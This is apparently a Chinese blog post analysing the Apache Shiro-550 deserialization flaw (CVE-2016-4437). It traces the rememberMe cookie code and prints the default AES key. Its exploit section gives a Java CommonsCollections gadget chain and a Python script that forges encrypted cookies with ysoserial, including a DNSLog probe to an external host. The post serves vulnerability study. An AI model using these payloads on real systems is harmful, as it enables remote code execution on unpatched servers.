Java框架安全篇--Shiro-550漏洞

Java框架安全篇--Shiro-550漏洞

Shiro反序列化源码可以提取:

 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

JAVA反序列化就不说了,可以参考前面文章

https://blog.csdn.net/m0_63138919/article/details/136751184

初始Apache Shiro 

Apache Shiro是一个强大的并且简单使用的java权限框架.主要应用认证(Authentication),授权(Authorization),cryptography(加密),和Session Manager.Shiro具有简单易懂的API,使用Shiro可以快速并且简单的应用到任何应用中,无论是从最小的移动app到最大的企业级web应用都可以使用。

Shiro反序列化的漏洞有两个,550和721,这次我们先分析以下550 

Apache Shiro -550
Apache Shiro RememberMe 反序列化导致的命令执行漏洞Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理编号:Shiro-550, CVE-2016-4437版本:Apache Shiro (由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)
在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

 

 在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

加密过程

首先我们利用靶场进行登入 并点击然后抓包得到

可以看到返回的http头里面新增了Set-Cookie,rememberMe还有一串字符。然后既然与rememberMe有关 ,我们着重关注他的代码处理就行

我们在\shiro-shiro-root-1.2.4\shiro-shiro-root-1.2.4\core\src\main\java\org\apache\shiro\mgt\AbstractRememberMeManager.java里面发现了

shiro启动时在构造函数中设置密钥为DEFAULT_CIPHER_KEY_BYTES

这个也就是我们要找到的默认的KEY了 我们跟进到 AbstractRememberMeManager继承的接口RememberMeManager(直接crtl+n 搜索就行)

RememberMeManager.java里面发现onSuccessfulLogin方法

 继续跟踪又回到 AbstractRememberMeManager.java里面发现里有一个判断isRememberMe的方法就是我们的有没有勾选RememberMe,如果没有就不走rememberIdentity,

    public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {//always clear any previous identity:forgetIdentity(subject);//now save the new identity:if (isRememberMe(token)) {rememberIdentity(subject, token, info);} else {if (log.isDebugEnabled()) {log.debug("AuthenticationToken did not indicate RememberMe is requested.  " +"RememberMe functionality will not be executed for corresponding account.");}}}

那我们继续跟进 rememberIdentity函数方法,authcInfo的值就是我们输入root用户名,继续跟进,

    public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);rememberIdentity(subject, principals);}

 在rememberIdentity方法中,一个函数就是转化为bytes

    protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {byte[] bytes = convertPrincipalsToBytes(accountPrincipals);rememberSerializedIdentity(subject, bytes);}protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {byte[] bytes = serialize(principals);if (getCipherService() != null) {bytes = encrypt(bytes);}return bytes;}

跟进convertPrincipalsToBytes,进入convertPrincipalsToBytes方法,发现它会序列化,而且序列化的是传入的root用户名,然后调用encrypt方法加密序列化后的二进制字节,那我们继续跟encrypt方法

代码如下  

    protected byte[] encrypt(byte[] serialized) {byte[] value = serialized;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());value = byteSource.getBytes();}return value;}

里面的CipherService cipherService = getCipherService() ,获取到加密模式,如果不为空就会进入到加密方法,加密方法是AES加密方法,而且是AES/CBC/PKCS5Padding

再看

ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());

明显这是获取秘钥了,直接跟进getEncryptionCipherKey ,

但是这个没有写值:

private byte[] encryptionCipherKey;

但是在构造方法里面有一个方法setCipherKey,可以看到传入有一个常量DEFAULT_CIPHER_KEY_BYTES

public AbstractRememberMeManager() {this.serializer = new DefaultSerializer<PrincipalCollection>();this.cipherService = new AesCipherService();setCipherKey(DEFAULT_CIPHER_KEY_BYTES);}

看到setCipherKey(DEFAULT_CIPHER_KEY_BYTES);是不是觉得很熟悉,原来我们最开始就已经获得了这个key

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

随后就传入 encrypt函数,继续更进

public ByteSource encrypt(byte[] plaintext, byte[] key) {byte[] ivBytes = null;boolean generate = this.isGenerateInitializationVectors(false);if (generate) {ivBytes = this.generateInitializationVector(false);if (ivBytes == null || ivBytes.length == 0) {throw new IllegalStateException("Initialization vector generation is enabled - generated vectorcannot be null or empty.");}}return this.encrypt(plaintext, key, ivBytes, generate);
}

基本的加密逻辑已知 序列化root+ key +iv 懂了之后 我们继续看rememberIdentity

    protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {byte[] bytes = convertPrincipalsToBytes(accountPrincipals);rememberSerializedIdentity(subject, bytes);}protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {byte[] bytes = serialize(principals);if (getCipherService() != null) {bytes = encrypt(bytes);}return bytes;}

通过上面的分析,可以得知加密后数据一直向上回溯,直到 rememberIdentity这个方法下有个 rememberSerializedIdentity方法 我们继续跟进,在shiro-shiro-root-1.2.4\shiro-shiro-root-1.2.4\web\src\main\java\org\apache\shiro\web\mgt\CookieRememberMeManager.java 找到了该方法

    protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {if (!WebUtils.isHttp(subject)) {if (log.isDebugEnabled()) {String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +"request and response in order to set the rememberMe cookie. Returning immediately and " +"ignoring rememberMe operation.";log.debug(msg);}return;}HttpServletRequest request = WebUtils.getHttpRequest(subject);HttpServletResponse response = WebUtils.getHttpResponse(subject);//base 64 encode it and store as a cookie:String base64 = Base64.encodeToString(serialized);Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookiesCookie cookie = new SimpleCookie(template);cookie.setValue(base64);cookie.saveTo(request, response);}

 下面的这个把刚刚加密的数据base64,然后都加入到cookie里面

cookie.setValue(base64);

所以我们可以得到cookie生成流程:

整个加密过程不是很复杂:1、序列化principals对象的值(root)2、将序列化后principals对象的值跟DEFAULT_CIPHER_KEY_BYTES进行AES加密,iv为随机,模式为CBC3、生成Base64字符串,写入Cookie

解密过程 

从获取到客户端数据开始分析 查看AbstractRememberMeManager类的getRememberedPrincipals方法

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {PrincipalCollection principals = null;try {// 获取被记住的主体身份的序列化字节数组byte[] bytes = getRememberedSerializedIdentity(subjectContext);//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:if (bytes != null && bytes.length > 0) {// 将序列化字节数组转换为主体身份集合principals = convertBytesToPrincipals(bytes, subjectContext);}} catch (RuntimeException re) {principals = onRememberedPrincipalFailure(re, subjectContext);}return principals;
}

发现getRememberedSerializedIdentity方法,跟进getRememberedSerializedIdentity方法 

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {if (!WebUtils.isHttp(subjectContext)) {if (log.isDebugEnabled()) {String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +"servlet request and response in order to retrieve the rememberMe cookie. Returning " +"immediately and ignoring rememberMe operation.";log.debug(msg);}return null;}WebSubjectContext wsc = (WebSubjectContext) subjectContext;if (isIdentityRemoved(wsc)) {return null;}HttpServletRequest request = WebUtils.getHttpRequest(wsc);HttpServletResponse response = WebUtils.getHttpResponse(wsc);String base64 = getCookie().readValue(request, response);if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;if (base64 != null) {base64 = ensurePadding(base64);if (log.isTraceEnabled()) {log.trace("Acquired Base64 encoded identity [" + base64 + "]");}// 将 Base64 编码的字符串解码为字节数组byte[] decoded = Base64.decode(base64);if (log.isTraceEnabled()) {log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");}return decoded;} else {return null;}
}

我们发现  String base64 = getCookie().readValue(request, response); 这就是使用readValue进行读取cookice中的数据,跟进 readValue方法

根据 Cookie 中的 name 字段(这个字段就是 rememberMe)获取 Cookie 的值最终把获取cookie里面的rememberme 给到 value 返回上一级函数,继续看getRememberedSerializedIdentity方法里面的解密 解密成为二进制的数据(bytes)

    byte[] decoded = Base64.decode(base64);
  • 再次回到AbstractRememberMeManager 类 进入 convertBytesToPrincipals 方法

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {// 获取加密服务对象if (getCipherService() != null) {// 解密bytes = decrypt(bytes);}// 对解密后的结果进行反序列化return deserialize(bytes);
}

进入decrypt函数 

    protected byte[] decrypt(byte[] encrypted) {byte[] serialized = encrypted;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());serialized = byteSource.getBytes();}return serialized;}

主要观察下面这句话获取AES的秘钥 getDecryptionCipherKey()后,带着秘文和AES公钥进入decrypt函数

 ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());

跟进到进入到JcaCipherService类的decrypt方法 

   public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {byte[] encrypted = ciphertext;//No IV, check if we need to read the IV from the stream:byte[] iv = null;if (isGenerateInitializationVectors(false)) {try {//We are generating IVs, so the ciphertext argument array is not actually 100% cipher text.  Instead, it//is:// - the first N bytes is the initialization vector, where N equals the value of the// 'initializationVectorSize' attribute.// - the remaining bytes in the method argument (arg.length - N) is the real cipher text.//So we need to chunk the method argument into its constituent parts to find the IV and then use//the IV to decrypt the real ciphertext:int ivSize = getInitializationVectorSize();int ivByteSize = ivSize / BITS_PER_BYTE;//now we know how large the iv is, so extract the iv bytes:iv = new byte[ivByteSize];//ivByteSize=16//ciphertext这个数组 0-16位 覆盖到 iv数组 ,相当于给 vi赋值 ciphertext的前16位System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);//remaining data is the actual encrypted ciphertext.  Isolate it:int encryptedSize = ciphertext.length - ivByteSize;encrypted = new byte[encryptedSize];// ciphertext数组 ,从 16位后面的数据 赋值给encrypted System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);} catch (Exception e) {String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";throw new CryptoException(msg, e);}}return decrypt(encrypted, key, iv);}

这里的函数的大概意思是将传入的ciphertext分成iv和encrypted两部分,在传入重载的decrypt中进行解密  继续跟进decrypt

    private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {if (log.isTraceEnabled()) {log.trace("Attempting to decrypt incoming byte array of length " +(ciphertext != null ? ciphertext.length : 0));}byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE);return decrypted == null ? null : ByteSource.Util.bytes(decrypted);}

这就是进行AES解密 ,跟踪crypt函数,在JcaCipherService 中的 crypt 方法发现这也是AES解密的详细过程

    private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException {if (key == null || key.length == 0) {throw new IllegalArgumentException("key argument cannot be null or empty.");}javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false);return crypt(cipher, bytes);}

解密完成后,一步步的return回到上级函数,回到convertBytesToPrincipals函数部分

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {if (getCipherService() != null) {bytes = decrypt(bytes);}return deserialize(bytes);}

终于看到deserialize函数 继续跟进 ,一直跟进到 DefaultSerializer 的 deserialize方法中,见到了readObject()方法,调用了readObject函数,也是触发各种恶意链的地方

最后返回至getRememberedPrincipals函数,得到了principal实例对象 

总结:

获取remeberMe的值——>base64解密——>AES解密——>反序列化

漏洞利用 

1、编写恶意的CC链,并转换成字节码2、使用里面固定的key加密我们的CC链并进行序列化2、放到Cookie里面的rememberMe进行访问

注意:

如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。 
CC6:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class expShiro  {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{//取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");InvokerTransformer newTransformer = new InvokerTransformer("toString", null, null);Map hashMap1 = new HashMap();Map lazymap = LazyMap.decorate(hashMap1,newTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,obj);HashMap hashMap2 = new HashMap();hashMap2.put(tiedMapEntry,"2");lazymap.clear();setFieldValue(newTransformer,"iMethodName","newTransformer");ByteArrayOutputStream barr = new ByteArrayOutputStream();AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ObjectOutputStream oss = new ObjectOutputStream(barr);oss.writeObject(hashMap2);ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);System.out.printf(Base64.encodeToString(ciphertext.getBytes()));oss.close();}}
dnslog :
import base64
import sys
import uuid
import subprocessimport requests
from Crypto.Cipher import AESdef encode_rememberme(command):# 这里使用CommonsCollections2模块popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)# 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节BS = AES.block_size# 按照加密规则按一定长度对齐,如果不够要要做填充对齐pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()# 泄露的keykey = "kPH+bIxk5D2deZiIxcaaaA=="# AES的CBC加密模式mode = AES.MODE_CBC# 使用uuid4基于随机数模块生成16字节的 iv向量iv = uuid.uuid4().bytes# 实例化一个加密方式为上述的对象encryptor = AES.new(base64.b64decode(key), mode, iv)# 用pad函数去处理yso的命令输出,生成的序列化数据file_body = pad(popen.stdout.read())# iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_rememberMe_valuedef dnslog(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_rememberMe_valueif __name__ == '__main__':# cc2的exppayload = encode_rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')print("rememberMe={}".format(payload.decode()))# dnslog的pocpayload1 = encode_rememberme('http://ca4qki.dnslog.cn/')print("rememberMe={}".format(payload1.decode()))cookie = {"rememberMe": payload.decode()}requests.get(url="http://127.0.0.1:8080/web_war/", cookies=cookie)
工具利用:

ShiroAttack2 java环境1.8

修复: 

  1. 及时升级shiro版本,不再使用固定的密钥加密。

  2. 在应用程序上部署防火墙、加强身份验证等措施以提高安全性

总结: 

这一块学习了2天,其实还是很多原理都没搞懂,但唯一不变的就是你去学,就肯定能学到点东西,一定要回过头来复习复习,毕竟面试的时候肯定会问

参考:

Shiro反序列化漏洞原理分析(Shiro-550/Shiro-721) - 知乎 (zhihu.com)

深入探究Shiro漏洞成因及攻击技术 - 先知社区 (aliyun.com)

Shiro 550 反序列化漏洞 详细分析+poc编写_shiro550 ysoserial-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/287521.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OC 技术 苹果内购

一直觉得自己写的不是技术&#xff0c;而是情怀&#xff0c;一个个的教程是自己这一路走来的痕迹。靠专业技能的成功是最具可复制性的&#xff0c;希望我的这条路能让你们少走弯路&#xff0c;希望我能帮你们抹去知识的蒙尘&#xff0c;希望我能帮你们理清知识的脉络&#xff0…

【Linux】-Linux下的编辑器Vim的模式命令大全及其自主配置方法

目录 1.简单了解vim 2.vim的模式 2.1命令模式 2.2插入模式 2.3底行模式 3.vim各模式下的命令集 3.1正常&#xff08;命令模式下&#xff09; 3.1.1光标定位命令 3.1.2 复制粘贴 3.1.3 删除 3.1.4 撤销 3.1.5大小写转换 3.1.6替换 「R」&#xff1a;替换光标所到之处的字符&…

使用llamafile 构建本地大模型运用

安装 https://github.com/Mozilla-Ocho/llamafile 下载 大模型文件&#xff0c;选择列表中任意一个 wget https://huggingface.co/jartine/llava-v1.5-7B-GGUF/resolve/main/llava-v1.5-7b-q4.llamafile?downloadtrue https://github.com/Mozilla-Ocho/llamafile?tabre…

Element UI中日期选择日(date-picker)等其他选择器下拉显示错位、位置错误解决

省流版 给选择器加上唯一key&#xff08;下面的想看就看&#xff09; 问题复现 需求是用一个下拉切换时间维度的选择&#xff0c;分别为年度、季度、月度&#xff0c;但是开发的时候发现&#xff0c;当切换的时候&#xff0c;视图可正常切换&#xff0c;但点击选择时却发现选…

基于nginx 动态 URL反向代理的实现

背景&#xff1a; 我们在项目中在这样一个场景&#xff0c;用户需要使用固定的软件资源&#xff0c;这些资源是以服务器或者以容器形式存在的。 资源以webAPI方式在内网向外提供接口&#xff0c;资源分类多种类型&#xff0c;每种类型的资源程序和Wapi参数都一样。这些资源部属…

STL —— string(3)

目录 1. 使用 1.1 c_str() 1.2 find() & rfind() 1.3 substr() 1.4 打印网址的协议域名等 1.5 find_first_of() 2. string() 模拟实现 2.1 构造函数的模拟实现 2.2 operator[] 和 iterator 的模拟实现 2.3 push_back() & append() & 的模拟实现 2.4 ins…

sqlite3嵌入式开发板命令行方式使用

如何在编译嵌入式版本的sqlite3&#xff0c;请看我上一篇文章 sqlite3 交叉编译-CSDN博客 一、sqlite3命令行方式使用 假如我将编译好的嵌入式的sqlite3放置在如下路径&#xff1a; 进入bin目录进行操作 1.运行sqlite3 运行sqlite3有两种方式 1&#xff09;直接在内存里面…

零拷贝技术、常见实现方案、Kafka中的零拷贝技术的使用、Kafka为什么这么快

目录 1. 普通拷贝 2. 数据拷贝基础过程 2.1 仅CPU方式 2.2 CPU&DMA方式 3.普通模式数据交互 4. 零拷贝技术 4.1 出现原因 4.2 解决思路 4.2.1 mmap方式 4.2.2 sendfile方式 4.2.3 sendfileDMA收集 4.2.4 splice方式 5. Kafka中使用到的零拷贝技术 参考链接 本…

Intellij IDEA构建Android开发环境

Intellij IDEA创建项目时没有Android的选项 进设置&#xff08;Intellij IDEA - Settings - Plugins &#xff09; 再次创建项目可以看到Android的选项 解决Android导入项目时Gradle下载速度慢/超时/失败

OpenHarmony内核编程实战

在正式开始之前&#xff0c;对于刚接触OpenHarmony的伙伴们&#xff0c;面对大篇幅的源码可能无从下手&#xff0c;不知道怎么去编码写程序&#xff0c;下面用一个简单的例子带伙伴们入门。 ▍任务 编写程序&#xff0c;让开发板在串口调试工具中输出”Hello&#xff0c;Open…

java Web会议信息管理系统 用eclipse定制开发mysql数据库BS模式java编程jdbc

一、源码特点 jsp 会议信息管理系统是一套完善的web设计系统&#xff0c;对理解JSP java SERLVET mvc编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为TOMCAT7.0,eclipse开发&#xff0c;数据库为Mysql5.0&am…

嵌入式|蓝桥杯STM32G431(HAL库开发)——CT117E学习笔记11:数字电位器MCP4017

系列文章目录 嵌入式|蓝桥杯STM32G431&#xff08;HAL库开发&#xff09;——CT117E学习笔记01&#xff1a;赛事介绍与硬件平台 嵌入式|蓝桥杯STM32G431&#xff08;HAL库开发&#xff09;——CT117E学习笔记02&#xff1a;开发环境安装 嵌入式|蓝桥杯STM32G431&#xff08;…

一周是一年的2%

今天读到阮一峰的293期周刊&#xff0c;其中有句话很让我震动——“一周是一年的2%”。 过去的时间里&#xff0c;我都没有在意时间的流逝&#xff0c;过的好的时候就觉得一周过的好快&#xff0c;周三一过这周也就过去了&#xff0c;过的不好的时候就感觉很漫长。 确实&…

C# wpf 嵌入hwnd窗口

WPF Hwnd窗口互操作系列 第一章 嵌入Hwnd窗口&#xff08;本章&#xff09; 第二章 嵌入WinForm控件 第三章 嵌入WPF控件 文章目录 WPF Hwnd窗口互操作系列前言一、如何实现1、继承HwndHost2、实现抽象方法3、xaml中使用HwndHost控件 二、具体实现1、Win32窗口2、HwndSource窗…

【Python】搭建 Python 环境

目 录 一.安装 Python二.安装 PyCharm 要想能够进行 Python 开发&#xff0c;就需要搭建好 Python 的环境 需要安装的环境主要是两个部分&#xff1a; 运行环境: Python开发环境: PyCharm 一.安装 Python (1) 找到官方网站 (2) 找到下载页面 选择 “Download for Windows”…

PHPCMS v9城市分站插件

PHPCMS自带的有多站点功能&#xff0c;但是用过的朋友都知道&#xff0c;自带的多站点功能有很多的不方便之处&#xff0c;例如站点栏目没法公用&#xff0c;每个站点都需要创建模型、每个站点都需要单独添加内容&#xff0c;还有站点必须静态化。如果你内容很多这些功能当然无…

Unity VisionOS开发流程

Unity开发环境 Unity Pro, Unity Enterprise and Unity Industry 国际版 Mac Unity Editor(Apple silicon) visionOS Build Support (experimental) 实验版 Unity 2022.3.11f1 NOTE: 国际版与国服版Pro账通用&#xff0c;需要激活Pro的许可证。官方模板v0.6.2,非Pro版本会打…

安科瑞智慧安全用电综合解决方案

概述 智慧用电管理云平台是智慧城市建设的延伸成果&#xff0c;将电力物联网技术与云平台的大数据分析功能相结合&#xff0c;实现用电信息的可视化管理&#xff0c;可帮助用户实现安全用电&#xff0c;节约用电&#xff0c;可靠用电。平台支持web&#xff0c;app&#xff0c;微…

【回眸】Tessy 单元测试软件使用指南(三)怎么打桩和指针赋值和测试

目录 前言 Tessy 如何进行打桩操作 普通桩 高级桩 手写桩 Tessy单元测试之指针相关测试注意事项 有类型的指针&#xff08;非函数指针&#xff09;&#xff1a; 有类型的函数指针&#xff1a; void 类型的指针&#xff1a; 结语 前言 进行单元测试之后&#xff0c;但凡…

zookeeper面试题

文章目录 ZooKeeper 是什么&#xff1f;ZooKeeper 提供什么&#xff1f;1. 文件系统2. 通知机制 ZooKeeper 文件系统四种类型的 znode1. PERSISTENT (持久化目录节点)2. PERSISTENT_SEQUENTIAL (持久化顺序编号目录节点)3. EPHEMERAL (临时目录节点)4. EPHEMERAL_SEQUENTIAL (临…